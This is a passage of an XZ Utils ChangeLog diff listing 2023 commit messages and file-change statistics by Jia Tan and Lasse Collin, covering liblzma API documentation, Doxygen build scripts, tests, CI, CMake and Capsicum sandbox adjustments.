insertions(+), 6 deletions(-) + +commit 55ba6e93004842ae0a0792214a23504267ad8f43 +Author: Jia Tan +Date: 2023-03-16 21:38:32 +0800 + + liblzma: Add set lzma.h as the main page for Doxygen documentation. + + The \mainpage command is used in the first block of comments in lzma.h. + This changes the previously nearly empty index.html to use the first + comment block in lzma.h for its contents. + + lzma.h is no longer documented separately, but this is for the better + since lzma.h only defined a few macros that users do not need to use. + The individual API header files all have a disclaimer that they should + not be #included directly, so there should be no confusion on the fact + that lzma.h should be the only header used by applications. + + Additionally, the note "See ../lzma.h for information about liblzma as + a whole." was removed since lzma.h is now the main page of the + generated HTML and does not have its own page anymore. So it would be + confusing in the HTML version and was only a "nice to have" when + browsing the source files. + + src/liblzma/api/lzma.h | 1 + + src/liblzma/api/lzma/base.h | 2 -- + src/liblzma/api/lzma/bcj.h | 2 -- + src/liblzma/api/lzma/block.h | 2 -- + src/liblzma/api/lzma/check.h | 2 -- + src/liblzma/api/lzma/container.h | 2 -- + src/liblzma/api/lzma/delta.h | 2 -- + src/liblzma/api/lzma/filter.h | 2 -- + src/liblzma/api/lzma/hardware.h | 2 -- + src/liblzma/api/lzma/index.h | 2 -- + src/liblzma/api/lzma/index_hash.h | 4 +--- + src/liblzma/api/lzma/lzma12.h | 2 -- + src/liblzma/api/lzma/stream_flags.h | 2 -- + src/liblzma/api/lzma/version.h | 2 -- + src/liblzma/api/lzma/vli.h | 2 -- + 15 files changed, 2 insertions(+), 29 deletions(-) + +commit 16f21255597f6a57e5692780f962cdc090f62b8c +Author: Jia Tan +Date: 2023-03-16 21:37:32 +0800 + + Build: Generate doxygen documentation in autogen.sh. + + Another command line option (--no-doxygen) was added to disable + creating the doxygen documenation in cases where it not wanted or + if the doxygen tool is not installed. + + autogen.sh | 35 +++++++++++++++++++++++++++++------ + 1 file changed, 29 insertions(+), 6 deletions(-) + +commit 1321852a3be7196bd7fcfd146221a5669e46407c +Author: Jia Tan +Date: 2023-03-16 21:35:55 +0800 + + Build: Create doxygen/update-doxygen script. + + This is a helper script to generate the Doxygen documentation. It can be + run in 'liblzma' or 'internal' mode by setting the first argument. It + will default to 'liblzma' mode and only generate documentation for the + liblzma API header files. + + The helper script will be run during the custom mydist hook when we + create releases. This hook already alters the source directory, so its + fine to do it here too. This way, we can include the Doxygen generated + files in the distrubtion and when installing. + + In 'liblzma' mode, the JavaScript is stripped from the .html files and + the .js files are removed. This avoids license hassle from jQuery and + other libraries that Doxygen 1.9.6 puts into jquery.js in minified form. + + Makefile.am | 1 + + doxygen/update-doxygen | 111 +++++++++++++++++++++++++++++++++++++++++++++++++ + 2 files changed, 112 insertions(+) + +commit b1216a7772952d2fe7fe9c6acfcbd98d30abbc7b +Author: Jia Tan +Date: 2023-03-16 21:34:36 +0800 + + Build: Install Doxygen docs and include in distribution if generated. + + Added a install-data-local target to install the Doxygen documentation + only when it has been generated. In order to correctly remove the docs, + a corresponding uninstall-local target was added. + + If the doxygen docs exist in the source tree, they will also be included + in the distribution now too. + + Makefile.am | 18 ++++++++++++++++++ + 1 file changed, 18 insertions(+) + +commit c97d12f300b2a94c9f54a44c8931c8bc08cf0a73 +Author: Lasse Collin +Date: 2023-03-16 21:23:48 +0800 + + Doxygen: Refactor Doxyfile.in to doxygen/Doxyfile. + + Instead of having Doxyfile.in configured by Autoconf, the Doxyfile + can have the tags that need to be configured piped into the doxygen + command through stdin with the overrides after Doxyfile's contents. + + Going forward, the documentation should be generated in two different + modes: liblzma or internal. + + liblzma is useful for most users. It is the documentation for just + the liblzma API header files. This is the default. + + internal is for people who want to understand how xz and liblzma work. + It might be useful for people who want to contribute to the project. + + .gitignore | 3 +- + Makefile.am | 1 - + configure.ac | 40 --- + Doxyfile.in => doxygen/Doxyfile | 721 +++++++++++++++++++++++++--------------- + 4 files changed, 456 insertions(+), 309 deletions(-) + +commit 1b7661faa4bbf4a54c6b75900b5059835c382a0f +Author: Jia Tan +Date: 2023-02-28 23:22:36 +0800 + + Tests: Remove unused macros and functions. + + tests/tests.h | 75 ----------------------------------------------------------- + 1 file changed, 75 deletions(-) + +commit af55191102f01e76de658c881299f0909ca0feda +Author: Jia Tan +Date: 2022-12-29 21:52:15 +0800 + + liblzma: Defines masks for return values from lzma_index_checks(). + + src/liblzma/api/lzma/index.h | 23 +++++++++++++++++++++++ + tests/test_index.c | 22 +++++++++++----------- + 2 files changed, 34 insertions(+), 11 deletions(-) + +commit 8f38cdd9ab71e2a9d5a9787550222b7578243b73 +Author: Jia Tan +Date: 2023-01-12 22:29:07 +0800 + + Tests: Refactors existing lzma_index tests. + + Converts the existing lzma_index tests into tuktests and covers every + API function from index.h except for lzma_file_info_decoder, which can + be tested in the future. + + tests/test_index.c | 2036 ++++++++++++++++++++++++++++++++++++++-------------- + 1 file changed, 1492 insertions(+), 544 deletions(-) + +commit 717aa3651ce582807f379d8654c2516e1594df77 +Author: Lasse Collin +Date: 2023-03-11 18:42:08 +0200 + + xz: Simplify the error-label in Capsicum sandbox code. + + Also remove unneeded "sandbox_allowed = false;" as this code + will never be run more than once (making it work with multiple + input files isn't trivial). + + src/xz/file_io.c | 27 ++++++++++++--------------- + 1 file changed, 12 insertions(+), 15 deletions(-) + +commit a0eecc235d3ba8ad3453da98b46c7bc3e644de75 +Author: Lasse Collin +Date: 2023-03-07 19:59:23 +0200 + + xz: Make Capsicum sandbox more strict with stdin and stdout. + + src/xz/file_io.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +commit 916448d624aaf55cef0fc3e53754affb8c4f309d +Author: Jia Tan +Date: 2023-03-08 23:08:46 +0800 + + Revert: "Add warning if Capsicum sandbox system calls are unsupported." + + The warning causes the exit status to be 2, so this will cause problems + for many scripted use cases for xz. The sandbox usage is already very + limited already, so silently disabling this allows it to be more usable. + + src/xz/file_io.c | 10 ++++------ + 1 file changed, 4 insertions(+), 6 deletions(-) + +commit 01587dda2a8f13fef7e12fd624e6d05da5f9624f +Author: Jia Tan +Date: 2023-03-07 20:02:22 +0800 + + xz: Fix -Wunused-label in io_sandbox_enter(). + + Thanks to Xin Li for recommending the fix. + + src/xz/file_io.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 5fb936786601a1cd013a5d436adde65982b1e13c +Author: Jia Tan +Date: 2023-03-06 21:37:45 +0800 + + xz: Add warning if Capsicum sandbox system calls are unsupported. + + The warning is only used when errno == ENOSYS. Otherwise, xz still + issues a fatal error. + + src/xz/file_io.c | 2 ++ + 1 file changed, 2 insertions(+) + +commit 61ee82cb1232a402c82282bbae42821f2b952b0d +Author: Jia Tan +Date: 2023-03-06 21:27:53 +0800 + + xz: Skip Capsicum sandbox system calls when they are unsupported. + + If a system has the Capsicum header files but does not actually + implement the system calls, then this would render xz unusable. Instead, + we can check if errno == ENOSYS and not issue a fatal error. + + src/xz/file_io.c | 22 +++++++++++++++++----- + 1 file changed, 17 insertions(+), 5 deletions(-) + +commit f070722b57ba975a0dff36492d766f03026b1d21 +Author: Jia Tan +Date: 2023-03-06 21:08:26 +0800 + + xz: Reorder cap_enter() to beginning of capsicum sandbox code. + + cap_enter() puts the process into the sandbox. If later calls to + cap_rights_limit() fail, then the process can still have some extra + protections. + + src/xz/file_io.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit f1ab1f6b339d16a53ac53efeb97779ecd2bae70f +Author: Jia Tan +Date: 2023-02-24 23:46:23 +0800 + + liblzma: Clarify lzma_lzma_preset() documentation in lzma12.h. + + lzma_lzma_preset() does not guarentee that the lzma_options_lzma are + usable in an encoder even if it returns false (success). If liblzma + is built with default configurations, then the options will always be + usable. However if the match finders hc3, hc4, or bt4 are disabled, then + the options may not be usable depending on the preset level requested. + + The documentation was updated to reflect this complexity, since this + behavior was unclear before. + + src/liblzma/api/lzma/lzma12.h | 5 +++++ + 1 file changed, 5 insertions(+) + +commit 4b7fb3bf41a0ca4c97fad3799949a2aa61b13b99 +Author: Lasse Collin +Date: 2023-02-27 18:38:35 +0200 + + CMake: Require that the C compiler supports C99 or a newer standard. + + Thanks to autoantwort for reporting the issue and suggesting + a different patch: + https://github.com/tukaani-project/xz/pull/42 + + CMakeLists.txt | 8 ++++++++ + 1 file changed, 8 insertions(+) + +commit 9aa7fdeb04c486d2700967090956af88fdccab7e +Author: Jia Tan +Date: 2023-02-24 18:10:37 +0800 + + Tests: Small tweak to test-vli.c. + + The static global variables can be disabled if encoders and decoders + are not built. If they are not disabled and -Werror is used, it will + cause an usused warning as an error. + + tests/test_vli.c | 2 ++ + 1 file changed, 2 insertions(+) + +commit 3cf72c4bcba5370f07477c9b9b62ae33069ef9a9 +Author: Jia Tan +Date: 2023-02-06 21:46:43 +0800 + + liblzma: Replace '\n' -> newline in filter.h documentation. + + The '\n' renders as a newline when the comments are converted to html + by Doxygen. + + src/liblzma/api/lzma/filter.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 002006be62d77c706565fa6ec828bea64be302da +Author: Jia Tan +Date: 2023-02-06 21:45:37 +0800 + + liblzma: Shorten return description for two functions in filter.h. + + Shorten the description for lzma_raw_encoder_memusage() and + lzma_raw_decoder_memusage(). + + src/liblzma/api/lzma/filter.h | 8 ++------ + 1 file changed, 2 insertions(+), 6 deletions(-) + +commit 463d9359b8595f01d44ada1739d75aeb87f36524 +Author: Jia Tan +Date: 2023-02-06 21:44:45 +0800 + + liblzma: Reword a few lines in filter.h + + src/liblzma/api/lzma/filter.h | 10 +++++----- + 1 file changed, 5 insertions(+), 5 deletions(-) + +commit 01441df92c0fd6a6c02fe5ac27982a54ce887cc0 +Author: Jia Tan +Date: 2023-02-06 21:35:06 +0800 + + liblzma: Improve documentation in filter.h. + + All functions now explicitly specify parameter and return values. + The notes and code annotations were moved before the parameter and + return value descriptions for consistency. + + Also, the description above lzma_filter_encoder_is_supported() about + not being able to list available filters was removed since + lzma_str_list_filters() will do this. + + src/liblzma/api/lzma/filter.h | 226 ++++++++++++++++++++++++++---------------- + 1 file changed, 143 insertions(+), 83 deletions(-) + +commit 805b45cd60bfd5da3d3d89077de3789df179b324 +Author: Lasse Collin +Date: 2023-02-23 20:46:16 +0200 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 30e95bb44c36ae26b2ab12a94343b215fec285e7 +Author: Lasse Collin +Date: 2023-02-21 22:57:10 +0200 + + liblzma: Avoid null pointer + 0 (undefined behavior in C). + + In the C99 and C17 standards, section 6.5.6 paragraph 8 means that + adding 0 to a null pointer is undefined behavior. As of writing, + "clang -fsanitize=undefined" (Clang 15) diagnoses this. However, + I'm not aware of any compiler that would take advantage of this + when optimizing (Clang 15 included). It's good to avoid this anyway + since compilers might some day infer that pointer arithmetic implies + that the pointer is not NULL. That is, the following foo() would then + unconditionally return 0, even for foo(NULL, 0): + + void bar(char *a, char *b); + + int foo(char *a, size_t n) + { + bar(a, a + n); + return a == NULL; + } + + In contrast to C, C++ explicitly allows null pointer + 0. So if + the above is compiled as C++ then there is no undefined behavior + in the foo(NULL, 0) call. + + To me it seems that changing the C standard would be the sane + thing to do (just add one sentence) as it would ensure that a huge + amount of old code won't break in the future. Based on web searches + it seems that a large number of codebases (where null pointer + 0 + occurs) are being fixed instead to be future-proof in case compilers + will some day optimize based on it (like making the above foo(NULL, 0) + return 0) which in the worst case will cause security bugs. + + Some projects don't plan to change it. For example, gnulib and thus + many GNU tools currently require that null pointer + 0 is defined: + + https://lists.gnu.org/archive/html/bug-gnulib/2021-11/msg00000.html + + https://www.gnu.org/software/gnulib/manual/html_node/Other-portability-assumptions.html + + In XZ Utils null pointer + 0 issue should be fixed after this + commit. This adds a few if-statements and thus branches to avoid + null pointer + 0. These check for size > 0 instead of ptr != NULL + because this way bugs where size > 0 && ptr == NULL will likely + get caught quickly. None of them are in hot spots so it shouldn't + matter for performance. + + A little less readable version would be replacing + + ptr + offset + + with + + offset != 0 ? ptr + offset : ptr + + or creating a macro for it: + + #define my_ptr_add(ptr, offset) \ + ((offset) != 0 ? ((ptr) + (offset)) : (ptr)) + + Checking for offset != 0 instead of ptr != NULL allows GCC >= 8.1, + Clang >= 7, and Clang-based ICX to optimize it to the very same code + as ptr + offset. That is, it won't create a branch. So for hot code + this could be a good solution to avoid null pointer + 0. Unfortunately + other compilers like ICC 2021 or MSVC 19.33 (VS2022) will create a + branch from my_ptr_add(). + + Thanks to Marcin Kowalczyk for reporting the problem: + https://github.com/tukaani-project/xz/issues/36 + + src/liblzma/common/block_decoder.c | 5 ++++- + src/liblzma/common/block_encoder.c | 7 +++++-- + src/liblzma/common/common.c | 20 ++++++++++++++------ + src/liblzma/common/index_decoder.c | 13 ++++++++++--- + src/liblzma/common/index_encoder.c | 11 +++++++++-- + src/liblzma/common/index_hash.c | 13 ++++++++++--- + src/liblzma/common/lzip_decoder.c | 6 +++++- + src/liblzma/delta/delta_decoder.c | 7 ++++++- + src/liblzma/delta/delta_encoder.c | 12 ++++++++++-- + src/liblzma/simple/simple_coder.c | 6 ++++-- + 10 files changed, 77 insertions(+), 23 deletions(-) + +commit fa9065fac54194fe0407fc7f0cc9633fdce13c21 +Author: Jia Tan +Date: 2023-02-07 00:00:44 +0800 + + liblzma: Adjust container.h for consistency with filter.h. + + src/liblzma/api/lzma/container.h | 20 +++++++++----------- + 1 file changed, 9 insertions(+), 11 deletions(-) + +commit 00a721b63d82dfb658dca8d8cb599d8a245c663f +Author: Jia Tan +Date: 2023-02-07 00:00:09 +0800 + + liblzma: Fix small typos and reword a few things in filter.h. + + src/liblzma/api/lzma/container.h | 13 ++++++------- + 1 file changed, 6 insertions(+), 7 deletions(-) + +commit 5b1c171d4ffe89ef18fa31509bb0185d6fd11d39 +Author: Jia Tan +Date: 2023-02-06 23:42:08 +0800 + + liblzma: Convert list of flags in lzma_mt to bulleted list. + + src/liblzma/api/lzma/container.h | 9 ++++++--- + 1 file changed, 6 insertions(+), 3 deletions(-) + +commit dbd47622eb99fefb3538a22baec3def002aa56f5 +Author: Jia Tan +Date: 2023-01-26 23:17:41 +0800 + + liblzma: Fix typo in documentation in container.h + + lzma_microlzma_decoder -> lzma_microlzma_encoder + + src/liblzma/api/lzma/container.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 14cd30806d69e55906073745bcce3ee50e0ec942 +Author: Jia Tan +Date: 2023-01-26 23:16:34 +0800 + + liblzma: Improve documentation for container.h + + Standardizing each function to always specify parameters and return + values. Also moved the parameters and return values to the end of each + function description. + + src/liblzma/api/lzma/container.h | 146 +++++++++++++++++++++++++-------------- + 1 file changed, 93 insertions(+), 53 deletions(-) + +commit c9c8bfae3502842dcead85eeb2b951b437c2cd88 +Author: Jia Tan +Date: 2023-02-22 20:59:41 +0800 + + CMake: Add LZIP decoder test to list of tests. + + CMakeLists.txt | 1 + + 1 file changed, 1 insertion(+) + +commit b9f171dd00a3cc32b6d41ea8e082cf545640ec2a +Author: Lasse Collin +Date: 2023-02-17 20:56:49 +0200 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 2ee86d20e49985b903b78ebcfa3fa672e73e93aa +Author: Lasse Collin +Date: 2023-02-17 20:48:28 +0200 + + Build: Use only the generic symbol versioning on MicroBlaze. + + On MicroBlaze, GCC 12 is broken in sense that + __has_attribute(__symver__) returns true but it still doesn't + support the __symver__ attribute even though the platform is ELF + and symbol versioning is supported if using the traditional + __asm__(".symver ...") method. Avoiding the traditional method is + good because it breaks LTO (-flto) builds with GCC. + + See also: https://gcc.gnu.org/bugzilla/show_bug.cgi?id=101766 + + For now the only extra symbols in liblzma_linux.map are the + compatibility symbols with the patch that spread from RHEL/CentOS 7. + These require the use of __symver__ attribute or __asm__(".symver ...") + in the C code. Compatibility with the patch from CentOS 7 doesn't + seem valuable on MicroBlaze so use liblzma_generic.map on MicroBlaze + instead. It doesn't require anything special in the C code and thus + no LTO issues either. + + An alternative would be to detect support for __symver__ + attribute in configure.ac and CMakeLists.txt and fall back + to __asm__(".symver ...") but then LTO would be silently broken + on MicroBlaze. It sounds likely that MicroBlaze is a special + case so let's treat it as a such because that is simpler. If + a similar issue exists on some other platform too then hopefully + someone will report it and this can be reconsidered. + + (This doesn't do the same fix in CMakeLists.txt. Perhaps it should + but perhaps CMake build of liblzma doesn't matter much on MicroBlaze. + The problem breaks the build so it's easy to notice and can be fixed + later.) + + Thanks to Vincent Fazio for reporting the problem and proposing + a patch (in the end that solution wasn't used): + https://github.com/tukaani-project/xz/pull/32 + + configure.ac | 12 ++++++++++-- + 1 file changed, 10 insertions(+), 2 deletions(-) + +commit d831072cceca458d94d2d5da201862f6d43a417b +Author: Lasse Collin +Date: 2023-02-16 21:09:00 +0200 + + liblzma: Very minor API doc tweaks. + + Use "member" to refer to struct members as that's the term used + by the C standard. + + Use lzma_options_delta.dist and such in docs so that in Doxygen's + HTML output they will link to the doc of the struct member. + + Clean up a few trailing white spaces too. + + src/liblzma/api/lzma/block.h | 6 +++--- + src/liblzma/api/lzma/delta.h | 6 +++--- + src/liblzma/api/lzma/index.h | 10 +++++----- + src/liblzma/api/lzma/stream_flags.h | 6 +++--- + 4 files changed, 14 insertions(+), 14 deletions(-) + +commit f029daea39c215fd7d5cb6b6798818b055cf5b22 +Author: Jia Tan +Date: 2023-02-17 00:54:33 +0800 + + liblzma: Adjust spacing in doc headers in bcj.h. + + src/liblzma/api/lzma/bcj.h | 14 +++++++------- + 1 file changed, 7 insertions(+), 7 deletions(-) + +commit a5de68bac2bb7e1b9119e6cea7d761a22ea73e9c +Author: Jia Tan +Date: 2023-02-17 00:44:44 +0800 + + liblzma: Adjust documentation in bcj.h for consistent style. + + src/liblzma/api/lzma/bcj.h | 43 ++++++++++++++++++++++--------------------- + 1 file changed, 22 insertions(+), 21 deletions(-) + +commit efa498c13b883810497e0ea8a169efd6f48f5026 +Author: Jia Tan +Date: 2023-02-17 00:36:05 +0800 + + liblzma: Rename field => member in documentation. + + Also adjusted preset value => preset level. + + src/liblzma/api/lzma/base.h | 18 +++++++-------- + src/liblzma/api/lzma/block.h | 44 ++++++++++++++++++------------------- + src/liblzma/api/lzma/container.h | 26 +++++++++++----------- + src/liblzma/api/lzma/delta.h | 12 +++++----- + src/liblzma/api/lzma/index.h | 30 ++++++++++++------------- + src/liblzma/api/lzma/lzma12.h | 28 +++++++++++------------ + src/liblzma/api/lzma/stream_flags.h | 32 +++++++++++++-------------- + 7 files changed, 95 insertions(+), 95 deletions(-) + +commit 718b22a6c5e3ee5de123323ea798872381f9320e +Author: Lasse Collin +Date: 2023-02-16 17:59:50 +0200 + + liblzma: Silence a warning from MSVC. + + It gives C4146 here since unary minus with unsigned integer + is still unsigned (which is the intention here). Doing it + with substraction makes it clearer and avoids the warning. + + Thanks to Nathan Moinvaziri for reporting this. + + src/liblzma/check/crc64_fast.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 87c53553fa7d50f777b4edfa99f2083628f590fe +Author: Jia Tan +Date: 2023-02-16 21:04:54 +0800 + + liblzma: Improve documentation for stream_flags.h + + Standardizing each function to always specify parameters and return + values. Also moved the parameters and return values to the end of each + function description. + + A few small things were reworded and long sentences broken up. + + src/liblzma/api/lzma/stream_flags.h | 76 ++++++++++++++++++++++--------------- + 1 file changed, 46 insertions(+), 30 deletions(-) + +commit 13d99e75a543e9e5f8633cc241eae55b91a3b242 +Author: Jia Tan +Date: 2023-02-14 21:50:16 +0800 + + liblzma: Improve documentation in lzma12.h. + + All functions now explicitly specify parameter and return values. + + src/liblzma/api/lzma/lzma12.h | 32 +++++++++++++++++++++++--------- + 1 file changed, 23 insertions(+), 9 deletions(-) + +commit 43ec344c868f930e96879eb9e49212cce92a9884 +Author: Jia Tan +Date: 2023-01-27 22:44:06 +0800 + + liblzma: Improve documentation in check.h. + + All functions now explicitly specify parameter and return values. + Also moved the note about SHA-256 functions not being exported to the + top of the file. + + src/liblzma/api/lzma/check.h | 41 ++++++++++++++++++++++++++++------------- + 1 file changed, 28 insertions(+), 13 deletions(-) + +commit 9c71db4e884fd49aea3d1e711036bff45ca66487 +Author: Jia Tan +Date: 2023-02-08 21:33:52 +0800 + + liblzma: Improve documentation in index.h + + All functions now explicitly specify parameter and return values. + + src/liblzma/api/lzma/index.h | 177 ++++++++++++++++++++++++++++++------------- + 1 file changed, 126 insertions(+), 51 deletions(-) + +commit 421f2f2e160720f6009e3b6a125cafe2feaa9419 +Author: Jia Tan +Date: 2023-02-08 20:35:32 +0800 + + liblzma: Reword a comment in index.h. + + src/liblzma/api/lzma/index.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit b67539484981351d501b68de5e925425e50c59b1 +Author: Jia Tan +Date: 2023-02-08 20:30:23 +0800 + + liblzma: Omit lzma_index_iter's internal field from Doxygen docs. + + Add \private above this field and its sub-fields since it is not meant + to be modified by users. + + src/liblzma/api/lzma/index.h | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +commit 0c9e4fc2ad6d88d54f299240fcc5a2ce7d695d96 +Author: Jia Tan +Date: 2023-01-21 21:32:03 +0800 + + liblzma: Fix documentation for LZMA_MEMLIMIT_ERROR. + + LZMA_MEMLIMIT_ERROR was missing the "<" character needed to put + documentation after a member. + + src/liblzma/api/lzma/base.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 816fec125aa74bcef46512c73acc6d9e5a700d15 +Author: Jia Tan +Date: 2023-01-21 00:29:38 +0800 + + liblzma: Improve documentation for base.h. + + Standardizing each function to always specify params and return values. + Also fixed a small grammar mistake. + + src/liblzma/api/lzma/base.h | 30 +++++++++++++++++++++++++----- + 1 file changed, 25 insertions(+), 5 deletions(-) + +commit 862dacef1a4e7e1b28d465956fa4244ed01df154 +Author: Jia Tan +Date: 2023-02-14 00:12:34 +0800 + + liblzma: Add one more missing [out] annotation in vli.h + + src/liblzma/api/lzma/vli.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 867b08ae4254bf55dd1f7fd502cc618231b92f75 +Author: Jia Tan +Date: 2023-02-14 00:08:33 +0800 + + liblzma: Minor improvements to vli.h. + + Added [out] annotations to parameters that are pointers and can have + their value changed. Also added a clarification to lzma_vli_is_valid. + + src/liblzma/api/lzma/vli.h | 13 +++++++------ + 1 file changed, 7 insertions(+), 6 deletions(-) + +commit 90d0e628ff11e5030bcc4fc000bca056adda6603 +Author: Jia Tan +Date: 2023-02-10 21:38:02 +0800 + + liblzma: Add comments for macros in delta.h. + + Document LZMA_DELTA_DIST_MIN and LZMA_DELTA_DIST_MAX for completeness + and to avoid Doxygen warnings. + + src/liblzma/api/lzma/delta.h | 8 ++++++++ + 1 file changed, 8 insertions(+) + +commit 9255fffdb13e59874bf7f95c370c410ad3a7e114 +Author: Jia Tan +Date: 2023-02-10 21:35:23 +0800 + + liblzma: Improve documentation in index_hash.h. + + All functions now explicitly specify parameter and return values. + Also reworded the description of lzma_index_hash_init() for readability. + + src/liblzma/api/lzma/index_hash.h | 36 +++++++++++++++++++++++++++--------- + 1 file changed, 27 insertions(+), 9 deletions(-) + +commit 1dbe12b90cff79bb51923733ac0840747b4b4131 +Author: Lasse Collin +Date: 2023-02-07 19:07:45 +0200 + + xz: Improve the comment about start_time in mytime.c. + + start_time is relative to an arbitary point in time, it's not + time of day, so using it for anything else than time differences + wouldn't make sense. + + src/xz/mytime.c | 15 ++++++++++----- + 1 file changed, 10 insertions(+), 5 deletions(-) + +commit 7673ef5aa80c1af7fb693360dd82f527b46c2c56 +Author: Jia Tan +Date: 2023-02-04 21:06:35 +0800 + + Build: Adjust CMake version search regex. + + Now, the LZMA_VERSION_MAJOR, LZMA_VERSION_MINOR, and LZMA_VERSION_PATCH + macros do not need to be on consecutive lines in version.h. They can be + separated by more whitespace, comments, or even other content, as long + as they appear in the proper order (major, minor, patch). + + CMakeLists.txt | 2 ++ + 1 file changed, 2 insertions(+) + +commit b8bce89be7fb5bffe5fef4a2782ca9b2b107eaac +Author: Jia Tan +Date: 2023-02-04 12:01:23 +0800 + + xz: Add a comment clarifying the use of start_time in mytime.c. + + src/xz/mytime.c | 5 +++++ + 1 file changed, 5 insertions(+) + +commit 912af91b10a18fb9bb3167247ecaaefca8248ee9 +Author: Jia Tan +Date: 2023-01-26 09:50:21 +0800 + + liblzma: Improve documentation for version.h. + + Specified parameter and return values for API functions and documented + a few more of the macros. + + src/liblzma/api/lzma/version.h | 29 ++++++++++++++++++++++------- + 1 file changed, 22 insertions(+), 7 deletions(-) + +commit 850adec171203cd22b57d016084d713f72ae5307 +Author: Jia Tan +Date: 2023-02-03 22:52:55 +0800 + + Docs: Omit SIGTSTP not handled from TODO. + + TODO | 4 ---- + 1 file changed, 4 deletions(-) + +commit 2c78a83c6faec70154d9eb78022a618ed62cdcb3 +Author: Jia Tan +Date: 2023-02-03 00:33:32 +0800 + + liblzma: Fix bug in lzma_str_from_filters() not checking filters[] length. + + The bug is only a problem in applications that do not properly terminate + the filters[] array with LZMA_VLI_UNKNOWN or have more than + LZMA_FILTERS_MAX filters. This bug does not affect xz. + + src/liblzma/common/string_conversion.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +commit e01f01b9af1c074463b92694a16ecc16a31907c0 +Author: Jia Tan +Date: 2023-02-03 00:32:47 +0800 + + Tests: Create test_filter_str.c. + + Tests lzma_str_to_filters(), lzma_str_from_filters(), and + lzma_str_list_filters() API functions. + + CMakeLists.txt | 1 + + tests/Makefile.am | 2 + + tests/test_filter_str.c | 593 ++++++++++++++++++++++++++++++++++++++++++++++++ + 3 files changed, 596 insertions(+) + +commit 8dfc029e7a4ce45809c30313dc0e502f0d22be26 +Author: Jia Tan +Date: 2023-01-22 08:49:00 +0800 + + liblzma: Fix typos in comments in string_conversion.c. + + src/liblzma/common/string_conversion.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 54ad83c1ae2180dcc0cb2445b181dc1e9732a5d6 +Author: Jia Tan +Date: 2023-02-03 00:20:20 +0800 + + liblzma: Clarify block encoder and decoder documentation. + + Added a few sentences to the description for lzma_block_encoder() and + lzma_block_decoder() to highlight that the Block Header must be coded + before calling these functions. + + src/liblzma/api/lzma/block.h | 15 +++++++++++---- + 1 file changed, 11 insertions(+), 4 deletions(-) + +commit f680e771b3eb2a46310fe85b3e000ac3a1a0640f +Author: Jia Tan +Date: 2023-02-03 00:12:24 +0800 + + Update lzma_block documentation for lzma_block_uncomp_encode(). + + src/liblzma/api/lzma/block.h | 3 +++ + 1 file changed, 3 insertions(+) + +commit 504cf4af895fd45aad0c56eb3b49d90acd54465b +Author: Jia Tan +Date: 2023-02-03 00:11:37 +0800 + + liblzma: Minor edits to lzma_block header_size documentation. + + src/liblzma/api/lzma/block.h | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit 115b720fb521f99aa832d06b2c12b7f8c6c50680 +Author: Jia Tan +Date: 2023-02-03 00:11:07 +0800 + + liblzma: Enumerate functions that read version in lzma_block. + + src/liblzma/api/lzma/block.h | 13 +++++++++++-- + 1 file changed, 11 insertions(+), 2 deletions(-) + +commit 85ea0979adcf808a3830aefbe7a4ec884e542ea1 +Author: Jia Tan +Date: 2023-02-03 00:10:34 +0800 + + liblzma: Clarify comment in block.h. + + src/liblzma/api/lzma/block.h | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit 1f7ab90d9ce224230a04de6b921ad6e2029023a8 +Author: Jia Tan +Date: 2023-02-03 00:07:23 +0800 + + liblzma: Improve documentation for block.h. + + Standardizing each function to always specify params and return values. + Output pointer parameters are also marked with doxygen style [out] to + make it clear. Any note sections were also moved above the parameter and + return sections for consistency. + + src/liblzma/api/lzma/block.h | 96 ++++++++++++++++++++++++++++++++++---------- + 1 file changed, 75 insertions(+), 21 deletions(-) + +commit c563a4bc554a96bd0b6aab3c139715b7ec8f6ca3 +Author: Jia Tan +Date: 2023-02-01 23:38:30 +0800 + + liblzma: Clarify a comment about LZMA_STR_NO_VALIDATION. + + The flag description for LZMA_STR_NO_VALIDATION was previously confusing + about the treatment for filters than cannot be used with .xz format + (lzma1) without using LZMA_STR_ALL_FILTERS. Now, it is clear that + LZMA_STR_NO_VALIDATION is not a super set of LZMA_STR_ALL_FILTERS. + + src/liblzma/api/lzma/filter.h | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +commit 315c64c7e18acc59a745b68148188a73e998252b +Author: Jia Tan +Date: 2023-02-01 21:43:33 +0800 + + CI: Update .gitignore for artifacts directory in build-aux. + + The workflow action for our CI pipeline can only reference artifacts in + the source directory, so we should ignore these files if the ci_build.sh + is run locally. + + .gitignore | 1 + + 1 file changed, 1 insertion(+) + +commit 2c1341f4fa06e7f487d61142aa354c433e17ec7f +Author: Jia Tan +Date: 2023-02-01 21:36:46 +0800 + + CI: Add quotes around variables in a few places. + + build-aux/ci_build.sh | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit 3a401b0e0c7a2658af7801dd0690256ef24149e0 +Author: Jia Tan +Date: 2023-02-01 21:36:22 +0800 + + CI: Upload test logs as artifacts if a test fails. + + .github/workflows/ci.yml | 60 ++++++++++++++++++++++++++++++++++-------------- + build-aux/ci_build.sh | 31 ++++++++++++++++++++----- + 2 files changed, 68 insertions(+), 23 deletions(-) + +commit 610dde15a88f12cc540424eb3eb3ed61f3876f74 +Author: Lasse Collin +Date: 2023-01-27 20:02:49 +0200 + + xz: Use clock_gettime() even if CLOCK_MONOTONIC isn't available. + + mythread.h and thus liblzma already does it. + + src/xz/mytime.c | 11 ++++++++--- + src/xz/private.h | 3 +-- + 2 files changed, 9 insertions(+), 5 deletions(-) + +commit 